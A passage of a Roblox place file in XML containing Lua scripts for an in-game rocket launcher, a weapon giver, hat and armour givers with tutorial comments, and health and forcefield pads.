	local vHandle = Tool:findFirstChild(&quot;Handle&quot;)
	if vHandle == nil then
		print(&quot;Handle not found&quot;)
		return 
	end

	local dir = vTarget - vHandle.Position
	dir = computeDirection(dir)
	local missileCF = CFrame.new(vHandle.Position,  vHandle.Position + dir)
	local missile = Rocket:clone()
	local color = math.random(1,32)
	missile.BrickColor = BrickColor.new(color)
	print(color)
	missile.CFrame = missileCF * offset

	local creator_tag = Instance.new(&quot;ObjectValue&quot;)

	local vPlayer = game.Players:playerFromCharacter(vCharacter)

	if vPlayer == nil then
		print(&quot;Player not found&quot;)
	else
		if (vPlayer.Neutral == false) then -- nice touch
			missile.BrickColor = vPlayer.TeamColor
		end
	end

	creator_tag.Value =vPlayer
	creator_tag.Name = &quot;creator&quot;
	creator_tag.Parent = missile
	
	missile.RocketScript.Disabled = false

	missile.Parent = game.Workspace
end

function computeDirection(vec)
	local lenSquared = vec.magnitude * vec.magnitude
	local invSqrt = 1 / math.sqrt(lenSquared)
	return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end

Tool.Enabled = true
function onActivated()
	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	local character = Tool.Parent;
	local humanoid = character.Humanoid
	if humanoid == nil then
		print(&quot;Humanoid not found&quot;)
		return 
	end

	local targetPos = humanoid.TargetPoint

	for i=-15,15,5 do
		fire(targetPos, CFrame.new(i,0,-9))
	end

	wait(0.0000000000000000000000000000000000001)
	Tool.Enabled = true
end


script.Parent.Activated:connect(onActivated)

</ProtectedString>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX4545">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">false</bool>
								<string name="Name">Explosion</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>rbxasset://sounds/collide.wav</url></Content>
								<float name="Volume">1</float>
							</Properties>
						</Item>
						<Item class="Sound" referent="RBX4546">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Looped">true</bool>
								<string name="Name">Swoosh</string>
								<float name="Pitch">1</float>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><url>rbxasset://sounds/Rocket whoosh 01.wav</url></Content>
								<float name="Volume">0.699999988</float>
							</Properties>
						</Item>
						<Item class="Part" referent="RBX4547">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">199</int>
								<CoordinateFrame name="CFrame">
									<X>-1814.55945</X>
									<Y>7.99890137</Y>
									<Z>184.184326</Z>
									<R00>-0.0010901182</R00>
									<R01>0.0486805141</R01>
									<R02>-0.998812377</R02>
									<R10>-0.999997497</R10>
									<R11>0.0018457491</R11>
									<R12>0.00118136778</R12>
									<R20>0.00190089166</R20>
									<R21>0.998811305</R21>
									<R22>0.0486783832</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Handle</string>
								<float name="Reflectance">0.400000006</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>-0.00712389499</X>
									<Y>0.00904770475</Y>
									<Z>0.00754512986</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.0191708785</X>
									<Y>-0.00777286384</Y>
									<Z>-0.0170596875</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>4</X>
									<Y>0.800000012</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
							<Item class="SpecialMesh" referent="RBX4548">
								<Properties>
									<bool name="Archivable">true</bool>
									<token name="LODX">2</token>
									<token name="LODY">2</token>
									<Content name="MeshId"><url>http://www.roblox.com/asset/?id=1030777</url></Content>
									<token name="MeshType">5</token>
									<string name="Name">Mesh</string>
									<Vector3 name="Offset">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="Scale">
										<X>0.75</X>
										<Y>0.75</Y>
										<Z>0.75</Z>
									</Vector3>
									<Content name="TextureId"><url>http://www.roblox.com/asset/?id=1030776</url></Content>
									<Vector3 name="VertexColor">
										<X>1</X>
										<Y>1</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX4549">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4294964480</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294901760</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="LocalScript" referent="RBX4550">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Local Gui</string>
								<ProtectedString name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
	if not enabled then
		return
	end

	enabled = false
	mouse.Icon = &quot;&quot;

	wait(0.000000000000000000000000000000000000000000000001)
	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	enabled = true

end

function onEquippedLocal(mouse)

	if mouse == nil then
		print(&quot;Mouse not found&quot;)
		return 
	end

	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end


Tool.Equipped:connect(onEquippedLocal)</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4551">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">RocketScript</string>
								<ProtectedString name="Source">r = game:service(&quot;RunService&quot;)

shaft = script.Parent
position = shaft.Position

script.Parent.Explosion.PlayOnRemove = true -- play explosion sound when projectile removed from game

function fly()
	direction = shaft.CFrame.lookVector 
	position = position + direction * 12
	error = position - shaft.Position
	shaft.Velocity = 7*error
end

function blow()
	swoosh:stop()
	explosion = Instance.new(&quot;Explosion&quot;)
	explosion.Position = shaft.Position


	-- find instigator tag
	local creator = script.Parent:findFirstChild(&quot;creator&quot;)
	if creator ~= nil then
		explosion.Hit:connect(function(part, distance)  onPlayerBlownUp(part, distance, creator) end)
	end

	explosion.Parent = game.Workspace
	connection:disconnect()
	wait(.1)
	shaft:remove()
end

function onPlayerBlownUp(part, distance, creator)
	
	if part.Name == &quot;Head&quot; then
	
		local humanoid = part.Parent.Humanoid
		tagHumanoid(humanoid, creator)
	end
end

function tagHumanoid(humanoid, creator)
	-- tag does not need to expire iff all explosions lethal
	
	if creator ~= nil then
		local new_tag = creator:clone()
		new_tag.Parent = humanoid
		
	end
end

function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild(&quot;creator&quot;)
		if tag ~= nil then
		
			tag.Parent = nil
		end
	end
end

t, s = r.Stepped:wait()

swoosh = script.Parent.Swoosh
swoosh:play()

d = t + 10.0 - s
connection = shaft.Touched:connect(blow)

while t &lt; d do
	fly()
	t = r.Stepped:wait()
end

-- at max range
script.Parent.Explosion.PlayOnRemove = false
swoosh:stop()
shaft:remove()
</ProtectedString>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX4552">
							<Properties>
								<bool name="Archivable">true</bool>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">PUT THIS IN THE WEAPON</string>
								<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
							</Properties>
						</Item>
					</Item>
					<Item class="Fire" referent="RBX4553">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294964480</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4554">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1815.49805</X>
							<Y>9.00723267</Y>
							<Z>182.500366</Z>
							<R00>-0.999998748</R00>
							<R01>-0.000129477223</R01>
							<R02>1.04791579e-005</R02>
							<R10>-0.000129476786</R10>
							<R11>1</R11>
							<R12>4.31596563e-005</R12>
							<R20>-1.04847422e-005</R20>
							<R21>4.31583539e-005</R21>
							<R22>-0.999998748</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Fire" referent="RBX4555">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294964480</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4556">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1813.49805</X>
							<Y>9.0074234</Y>
							<Z>184.500488</Z>
							<R00>-2.09582959e-005</R00>
							<R01>-0.000106364212</R01>
							<R02>-0.99999845</R02>
							<R10>-5.58026513e-005</R10>
							<R11>1</R11>
							<R12>-0.000106362946</R12>
							<R20>0.99999845</R20>
							<R21>5.58004976e-005</R21>
							<R22>-2.09642276e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Fire" referent="RBX4557">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294964480</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4558">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1815.49854</X>
							<Y>12.6072006</Y>
							<Z>184.00061</Z>
							<R00>-0.999998748</R00>
							<R01>-0.000129477223</R01>
							<R02>1.04791579e-005</R02>
							<R10>-0.000129476786</R10>
							<R11>1</R11>
							<R12>4.31596563e-005</R12>
							<R20>-1.04847422e-005</R20>
							<R21>4.31583539e-005</R21>
							<R22>-0.999998748</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="Fire" referent="RBX4559">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294964480</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX4560">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">READ ME FOR INSTRUCTIONS</string>
						<ProtectedString name="Source">--DONT PUT THIS IN ANYTHING IT&apos;S JUST INSTRUCTIONS.
--First Place the &quot;PUT THIS IN THE WEAPON&quot; script in your Weapon or Tool.
--Then place your Weapon or Tool in the &quot;PUT THE WEAPON IN THIS BRICK&quot; brick.

--IMPORTANT (OPTINAL)
--Before doing anything you should put the Weapon or Tool in the giver where you want it.</ProtectedString>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX4561">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-1799.49768</X>
						<Y>6.20910835</Y>
						<Z>184.500488</Z>
						<R00>-1.04791579e-005</R00>
						<R01>-0.000129477223</R01>
						<R02>-0.999998748</R02>
						<R10>-4.31596563e-005</R10>
						<R11>1</R11>
						<R12>-0.000129476786</R12>
						<R20>0.999998748</R20>
						<R21>4.31583539e-005</R21>
						<R22>-1.04847422e-005</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Vor-Tech Armour Giver</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>5</X>
						<Y>0.400000006</Y>
						<Z>5</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX4562">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">TorsoBoxU</string>
						<ProtectedString name="Source">-- Guide to how to make a hat giver.

-- To adjust where your hat will be postioned on your head, go to the script line that says &quot;h.AttachmentPos = Vector3.new(0,0,0)
-- The first number in the (0,0,0) will make your hat go to the left, or to the right, making the number positive will make your hat be
-- placed to the left, making it negative( ex. &quot;-1&quot;) will make it be placed to the right. If your hat is pretty semetrical, you wont have to
-- adjust the first number, it stays usually in the middle, a zero.

-- The middle number adjusts how high/low the hat will be placed on the head. The higher the number is, the lower the hat will be
-- placed. If  you are at zero, and you want the hat to go  lower, make the number a negative. Negative numbers will make the hat
-- be place higher on your robloxian head.

-- The third number determines how far ahead/back your hat will be placed. Making the number positive will place the hat ahead of 
-- you, while making the number negative will place the hat behind you some.

-- NOTE, on the first, and last numbers, the ones that make your hat go left/right/ahead/back shouldn&apos;t be changed by whole numbers
-- to make your hat giver perfect, if you have to use those two numbers, move it slowly by &quot;.1&apos;s&quot;
-- This can also go for the middle number. If your hat is slightly higher than its supposed to be, than edit the number slightly. 
-- Do not change the numbers by whole numbers, or else it will go really far off.  Change the numbers by &quot;.1&apos;s&quot; and &quot;.2&apos;s&quot;



-- If you want to after how many seconds can you get another hat on your head, change the line that says &quot;wait(5)&quot;
-- Changing this will change after how many seconds can someone touch the giver, and get a hat. It&apos;s best to leave it as it is, 
-- Changing it really doesnt matter.

-- In build mode, after every time you change this script, copy the script, delete it, and paste it back into your hat, if you don&apos;t, 
-- nothing will change, I don&apos;t know why, but this is how I make my givers.

-- If you want to change the hat that you are trying on, change the &quot;Mesh&quot; Just delete the one in the brick that this script is in,
-- and copy a mesh from a different hat, that you want to try on with this script.

-- Do not rename the name of the &quot;Mesh&quot;, leave it saying Mesh, or the giver wont work.


-- Ask any questions here:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=13178947


-- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388








debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and debounce == true) then
		debounce = false
		h = Instance.new(&quot;Hat&quot;)
		p = Instance.new(&quot;Part&quot;)
		h.Name = &quot;TorsoPartU&quot;   -- It doesn&apos;t make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild(&quot;Torso&quot;).Position
		p.Name = &quot;Handle&quot; 
		p.formFactor = 0
		p.Size = Vector3.new(2,2,1) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		p.BrickColor = BrickColor.new(&quot;Black&quot;)
		M = Instance.new(&quot;SpecialMesh&quot;)
		M.MeshType = (&quot;Torso&quot;)
		M.Parent = p
		M.Scale = Vector3.new(1,0.51,1.1)
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, 1.5, 0) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)

-- Script Guide by HatHelper</ProtectedString>
					</Properties>
					<Item class="StockSound" referent="RBX4563">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">false</bool>
							<string name="Name">5rduz2</string>
							<float name="Pitch">1</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX4564">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">TorsoBoxL</string>
						<ProtectedString name="Source">-- Guide to how to make a hat giver.

-- To adjust where your hat will be postioned on your head, go to the script line that says &quot;h.AttachmentPos = Vector3.new(0,0,0)
-- The first number in the (0,0,0) will make your hat go to the left, or to the right, making the number positive will make your hat be
-- placed to the left, making it negative( ex. &quot;-1&quot;) will make it be placed to the right. If your hat is pretty semetrical, you wont have to
-- adjust the first number, it stays usually in the middle, a zero.

-- The middle number adjusts how high/low the hat will be placed on the head. The higher the number is, the lower the hat will be
-- placed. If  you are at zero, and you want the hat to go  lower, make the number a negative. Negative numbers will make the hat
-- be place higher on your robloxian head.

-- The third number determines how far ahead/back your hat will be placed. Making the number positive will place the hat ahead of 
-- you, while making the number negative will place the hat behind you some.

-- NOTE, on the first, and last numbers, the ones that make your hat go left/right/ahead/back shouldn&apos;t be changed by whole numbers
-- to make your hat giver perfect, if you have to use those two numbers, move it slowly by &quot;.1&apos;s&quot;
-- This can also go for the middle number. If your hat is slightly higher than its supposed to be, than edit the number slightly. 
-- Do not change the numbers by whole numbers, or else it will go really far off.  Change the numbers by &quot;.1&apos;s&quot; and &quot;.2&apos;s&quot;



-- If you want to after how many seconds can you get another hat on your head, change the line that says &quot;wait(5)&quot;
-- Changing this will change after how many seconds can someone touch the giver, and get a hat. It&apos;s best to leave it as it is, 
-- Changing it really doesnt matter.

-- In build mode, after every time you change this script, copy the script, delete it, and paste it back into your hat, if you don&apos;t, 
-- nothing will change, I don&apos;t know why, but this is how I make my givers.

-- If you want to change the hat that you are trying on, change the &quot;Mesh&quot; Just delete the one in the brick that this script is in,
-- and copy a mesh from a different hat, that you want to try on with this script.

-- Do not rename the name of the &quot;Mesh&quot;, leave it saying Mesh, or the giver wont work.


-- Ask any questions here:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=13178947


-- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388








debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil and debounce == true) then
		debounce = false
		h = Instance.new(&quot;Hat&quot;)
		p = Instance.new(&quot;Part&quot;)
		h.Name = &quot;TorsoPartL&quot;   -- It doesn&apos;t make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild(&quot;Torso&quot;).Position
		p.Name = &quot;Handle&quot; 
		p.formFactor = 0
		p.Size = Vector3.new(2,2,1) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		p.BrickColor = BrickColor.new(&quot;Black&quot;)
		M = Instance.new(&quot;BlockMesh&quot;)
		M.Parent = p
		M.Scale = Vector3.new(1.01,0.51,1.1)
		d = Instance.new(&quot;Decal&quot;)
		d.Parent = p
		d.Texture = (&quot;http://www.roblox.com/asset/?id=24803239&quot;)
		d.Face = (&quot;Back&quot;)
		d2 = Instance.new(&quot;Decal&quot;)
		d2.Parent = p
		d2.Texture = (&quot;http://www.roblox.com/asset/?id=24803239&quot;)
		d2.Face = (&quot;Front&quot;)
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, 2.5, 0) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)

-- Script Guide by HatHelper</ProtectedString>
					</Properties>
					<Item class="StockSound" referent="RBX4565">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">false</bool>
							<string name="Name">5rduz2</string>
							<float name="Pitch">1</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX4566">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Health</string>
						<ProtectedString name="Source">function onTouched(hit)
	if hit.Parent.Humanoid ~= nil then
		hit.Parent.Humanoid.MaxHealth = (150)
		hit.Parent.Humanoid.Health = (145)
	end
	if hit.Parent.Humanoid == nil then return end
end

script.Parent.Touched:connect(onTouched)
</ProtectedString>
					</Properties>
					<Item class="Timer" referent="RBX4567">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">y1wq209hw</string>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX4568">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">ForceField</string>
						<ProtectedString name="Source">function onTouched(hit)
	if hit.Parent.Humanoid ~= nil then
		ff = Instance.new(&quot;ForceField&quot;)
		ff.Parent = hit.Parent
		wait(3)
		hit.Parent.ForceField:Remove()
	end
	if hit.Parent.Humanoid == nil then return end
end

script.Parent.Touched:connect(onTouched)
</ProtectedString>
					</Properties>
					<Item class="Timer" referent="RBX4569">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">y1wq209hw</string>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4570">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Giver Maker</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX4571">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1799.49817</X>
							<Y>9.01833725</Y>
							<Z>199.505615</Z>
							<R00>1.10253732e-005</R00>
							<R01>-0.000130334694</R01>
							<R02>0.999998748</R02>
							<R10>0.00226921425</R10>
							<R11>0.999997437</R11>
							<R12>0.000130311222</R12>
							<R20>-0.999996185</R20>
							<R21>0.00226923986</R21>
							<R22>1.13192427e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
